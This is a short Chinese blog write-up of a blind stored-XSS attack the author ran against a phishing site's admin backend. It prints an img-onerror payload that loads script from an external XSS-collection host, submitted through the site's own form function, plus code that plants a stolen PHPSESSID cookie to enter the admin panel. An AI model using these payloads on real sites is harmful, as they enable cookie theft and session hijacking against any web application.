记一次 XSS 攻击非法钓鱼网站
收到了一封钓鱼邮件,不知道点到了什么就不小心进入了后台...
起因
收到了一封钓鱼邮件,点开看了看,准备玩玩
分析前端
进入钓鱼网站首页是一张图片,点击图片后会跳转到一个新的页面
随便尝试提交一个数据,可以看到是一个名为 ds
的函数发起的 POST 请求
找到这个函数所在的 js,稍稍向下翻可以看到 ds
函数的用例,分别是提交账号、密码和验证码
document.write('<script src="../app/data.php?sv=js&'+Math.random()+'"><\/script>');
function ds(act,data){
console.log(data);
$.post('../app/data.php','sv='+encodeURIComponent(b6(b6(JSON.stringify({act:act||'sv',data:data})))),function(d){
d = dejson(d);
});
}
// .......... 省略 ..........
// console.log("ds('sv',{user:'4165456',pass:'446565'});");
// console.log("ds('sv',{code:'4165456'});");
// .......... 省略 ..........
可以直接使用 ds
函数发送包含 XSS 代码的数据
XSS 注入
在控制台执行 ds 函数,插入一条包含 XSS 代码的数据
ds('sv',{user:"<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='//xss**.**/wel';>",pass:"<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='//xss**.**/wel';>"});
执行成功后页面跳转到输入验证码界面,再执行一次 ds 函数插入验证码
ds('sv',{code:"<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='//xss**.**/wel';>"});
接下来等待上钩...
进入后台
在提交数据没几分钟后 XSS 脚本就成功执行,获取到了后台截图、后台地址、Cookie 等信息,
在后台登录页面为自己添加了脚本获取的 Cookie,刷新页面就成功进入了后台
var cookiestr="PHPSESSID=7cf4f5**********590";var arr = cookiestr.split(";");
for(var i in arr){
document.cookie=arr[i];
}
- 分类:技术
woc